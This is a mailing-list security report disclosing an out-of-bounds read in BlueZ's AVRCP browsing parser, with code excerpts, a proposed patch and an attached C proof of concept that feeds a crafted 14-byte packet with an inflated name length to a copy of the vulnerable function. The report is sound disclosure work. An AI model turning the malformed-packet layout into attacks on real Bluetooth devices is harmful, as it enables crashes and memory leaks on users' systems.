* [SECURITY REPORT] Out-of-Bounds Read (CWE-125) in BlueZ AVRCP Browsing Profile leading to DoS / Memory Leak
@ 2026-08-01 20:54 Elman Shahbazov
2026-08-01 21:09 ` [SECURITY,REPORT] " bluez.test.bot
0 siblings, 1 reply; 2+ messages in thread
From: Elman Shahbazov @ 2026-08-01 20:54 UTC (permalink / raw)
To: linux-bluetooth
[-- Attachment #1.1: Type: text/plain, Size: 4845 bytes --]
Hello BlueZ maintainers and Red Hat Security team,
During a source code audit of the BlueZ project (master branch, commit
e45128f02),
I discovered an Out-of-Bounds Read vulnerability (CWE-125) in the AVRCP
Browsing
profile. This flaw can be exploited by a malicious Bluetooth device to
crash the
bluetoothd daemon (Denial of Service) or potentially leak process memory.
Below are the detailed technical findings, a Proof of Concept (PoC), and a
proposed patch.
1. Vulnerability Details
* Component: profiles/audio/avrcp.c
* Functions: parse_media_element (line 2618), parse_media_folder (line 2652)
* CWE: CWE-125 (Out-of-bounds Read)
The vulnerability exists in the parsing logic of the AVRCP GetFolderItems
response.
The functions extract the length of the media item name (namesize /
namelen) directly
from the network packet and use it to copy data into a local stack buffer
char name[255]
using memcpy.
While the code uses MIN(..., sizeof(name) - 1) to prevent overflowing the
local name
buffer itself, it completely fails to validate this length against the
actual size of the
incoming packet (len). If an attacker sends a packet where the namesize
field is large
(e.g., 1000) but the actual packet length is very small (e.g., 14 bytes),
the memcpy will
read far beyond the boundaries of the allocated packet buffer.
Vulnerable code snippet in parse_media_element:
if (len < 13) return NULL;
uid = get_be64(&operands[0]);
memset(name, 0, sizeof(name));
namesize = get_be16(&operands[11]); // Attacker controlled value (e.g.,
1000)
namelen = MIN(namesize, sizeof(name) - 1); // namelen becomes 254
if (namelen > 0) {
// OOB READ: reads 254 bytes from a 14-byte buffer
memcpy(name, &operands[13], namelen);
strtoutf8(name, namelen);
}
// OOB READ: reads at offset 1013, far beyond the packet boundary
count = operands[13 + namesize];
A similar logical flaw is present in parse_media_folder:
if (len < 12) return NULL;
// ...
namelen = MIN(get_be16(&operands[12]), sizeof(name) - 1); // namelen
limited to 254
if (namelen > 0)
// OOB READ: copies 254 bytes if len < 268
memcpy(name, &operands[14], namelen);
Impact and Threat Model
CVSS 3.1 (Estimated): 6.0 (Medium) - AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Attack Vector: Adjacent Network (Bluetooth)
A remote Bluetooth device acting as an AVRCP controller (e.g., a malicious
car kit,
headphones, or speaker) can send a specially crafted GetFolderItems
response. When a
Linux client connects and requests the media list, bluetoothd will attempt
to read
unallocated memory resulting in a segmentation fault (Denial of Service).
In certain heap
configurations, the read data could be processed and leaked, leading to
Information Disclosure.
Proof of Concept (PoC)
I have attached a minimal C program (poc_avrcp_obb.c) that extracts the
vulnerable
function and simulates the attack using a 14-byte malicious packet with an
inflated
namesize of 1000.
To verify the vulnerability:
Compile the PoC with AddressSanitizer:
gcc -fsanitize=address -g -o poc_avrcp_oob poc_avrcp_obb.c
Run it:
./poc_avrcp_oob
ASan will immediately detect the out-of-bounds access and abort the
execution:
==113741==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x...
READ of size 254 at 0x... thread T0
#0 0x... in memcpy
#1 0x... in parse_media_element_vuln
#2 0x... in main
...
SUMMARY: AddressSanitizer: stack-buffer-overflow in parse_media_element_vuln
Proposed Remediation (Patch)
To fix this issue, the length extracted from the packet must be validated
against the
remaining bytes in the packet buffer before being used in memcpy.
--- a/profiles/audio/avrcp.c
+++ b/profiles/audio/avrcp.c
@@ -2629,8 +2629,11 @@ static struct media_item *parse_media_element(struct
avrcp *session,
uid = get_be64(&operands[0]);
memset(name, 0, sizeof(name));
- namesize = get_be16(&operands[11]);
- namelen = MIN(namesize, sizeof(name) - 1);
+ namesize = MIN(get_be16(&operands[11]), len - 13); // Limit by
packet size
+ namelen = MIN(namesize, sizeof(name) - 1);
+
+ if (len < 13 + namesize) // Verify bounds before reading 'count'
+ return NULL;
+
if (namelen > 0) {
memcpy(name, &operands[13], namelen);
strtoutf8(name, namelen);
@@ -2672,7 +2675,8 @@ static struct media_item *parse_media_folder(struct
avrcp *session,
memset(name, 0, sizeof(name));
- namelen = MIN(get_be16(&operands[12]), sizeof(name) - 1);
+ namelen = MIN(get_be16(&operands[12]), len - 14); // Limit by
packet size
+ namelen = MIN(namelen, sizeof(name) - 1);
if (namelen > 0)
memcpy(name, &operands[14], namelen);
Please let me know if you need any further information or assistance with
testing.
Best regards,Elman
Security Researcher
[-- Attachment #1.2: Type: text/html, Size: 5400 bytes --]
[-- Attachment #2: poc_avrcp_obb.c --]
[-- Type: text/x-csrc, Size: 2332 bytes --]
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
// Имитируем макросы и типы BlueZ
#define MIN(a, b) ((a) < (b) ? (a) : (b))
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint64_t u64;
// Вспомогательные функции чтения из сети (Big Endian)
u16 get_be16(const void *ptr) {
const u8 *p = ptr;
return (p[0] << 8) | p[1];
}
u64 get_be64(const void *ptr) {
const u8 *p = ptr;
u64 val = 0;
for (int i = 0; i < 8; i++)
val = (val << 8) | p[i];
return val;
}
// Уязвимая логика, дословно скопированная из profiles/audio/avrcp.c
void parse_media_element_vuln(u8 *operands, u16 len) {
u16 namelen, namesize;
char name[255];
u64 uid;
u8 count;
if (len < 13)
return;
uid = get_be64(&operands[0]);
memset(name, 0, sizeof(name));
// Злоумышленник присылает namesize = 1000
namesize = get_be16(&operands[11]);
// namelen ограничивается 254, но не проверяется против len!
namelen = MIN(namesize, sizeof(name) - 1);
if (namelen > 0) {
// BUG 1: OOB READ. Пытаемся прочитать 254 байта из буфера размером всего 14 байт!
memcpy(name, &operands[13], namelen);
}
// BUG 2: OOB READ. 13 + 1000 = 1013. Читаем байт по смещению 1013!
count = operands[13 + namesize];
printf("Read count: %02x\n", count);
}
int main() {
// Формируем вредоносный пакет.
// Реальная длина пакета (len) = 14 байт.
u8 malicious_packet[14] = {0};
// Указываем namesize = 1000 (0x03E8 в Big Endian) по смещению 11
malicious_packet[11] = 0x03;
malicious_packet[12] = 0xE8;
printf("[*] Запуск PoC. Передаём пакет длиной 14 байт, но namesize=1000...\n");
// Вызываем уязвимую функцию
parse_media_element_vuln(malicious_packet, sizeof(malicious_packet));
printf("[*] Если ты видишь это сообщение, ASan не сработал (что маловероятно).\n");
return 0;
}
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-08-01 21:09 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-01 20:54 [SECURITY REPORT] Out-of-Bounds Read (CWE-125) in BlueZ AVRCP Browsing Profile leading to DoS / Memory Leak Elman Shahbazov
2026-08-01 21:09 ` [SECURITY,REPORT] " bluez.test.bot
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox